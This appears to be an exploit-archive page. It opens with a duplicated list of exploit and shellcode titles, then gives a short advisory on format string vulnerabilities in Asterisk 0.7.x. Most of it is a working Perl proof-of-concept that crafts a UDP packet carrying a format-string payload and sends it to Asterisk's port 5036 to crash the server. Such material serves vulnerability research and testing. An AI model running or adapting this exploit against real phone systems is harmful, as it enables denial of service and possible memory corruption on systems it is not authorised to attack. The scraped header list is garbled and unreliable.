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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
44 lines
No EOL
1.8 KiB
Perl
Executable file
44 lines
No EOL
1.8 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/10569/info
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It is reported that Asterisk is susceptible to format string vulnerabilities in its logging functions.
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An attacker may use these vulnerabilities to corrupt memory, and read or write arbitrary memory. Remote code execution is likely possible.
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Due to the nature of these vulnerabilities, there may exist many different avenues of attack. Anything that can potentially call the logging functions with user-supplied data is vulnerable.
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Versions 0.7.0 through to 0.7.2 are reported vulnerable.
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#!/usr/bin/perl
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#
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# Asterisk 0.7.2 Linux PBX Remote Format string DoS (PoC)
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#
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# Feb 29 22:58:08 NOTICE[27151280]: Rejected connect attempt from 127.0.0.1, request
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# 'exten=;callerid=;dnid=;context=;username=ce0ca0;language=;formats=;version=;}'
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#
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# kfinisterre[at]secnetops[dot]com - Copyright Secure Network Operations.
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#
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use IO::Socket::INET;
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$sock=new IO::Socket::INET->new(PeerPort=>5036, Proto=>'udp', PeerAddr=>'localhost');
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#$malpayload = "%.10d.";
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#$malpayload .= "%.10d"; # add 6 to length
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#$malpayload .="%n"; # write to the third address... we
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have control of $esi
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$malpayload = "AAAABBBB" . "%x." x 25;
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$malpayload .="\x3b";
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$payload = "\xa3\x7d\xff\xff\x00\x00\x00\x01\x00\x00\x06\x01\x65\x78\x74\x65\x6e\x3d\x3b" . # extern=;
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"\x63\x61\x6c\x6c\x65\x72\x69\x64\x3d\x3b" . # callerid=;
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"\x64\x6e\x69\x64\x3d\x3b" . # dnid=;
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"\x63\x6f\x6e\x74\x65\x78\x74\x3d\x3b" . # context=;
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"$malpayload" .
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"\x75\x73\x65\x72\x6e\x61\x6d\x65\x3d" . # username=;
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"\x6c\x61\x6e\x67\x75\x61\x67\x65\x3d\x3b" . # language=;
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"\x66\x6f\x72\x6d\x61\x74\x73\x3d\x3b" . # formats=;
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"\x76\x65\x72\x73\x69\x6f\x6e\x3d\x3b" . # version=;
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"\xa3\x7d\xff\xff\x00\x00\x00\x15\x00\x01\x06\x0b"; # end of payload
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$sock->send($payload);
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close($sock); |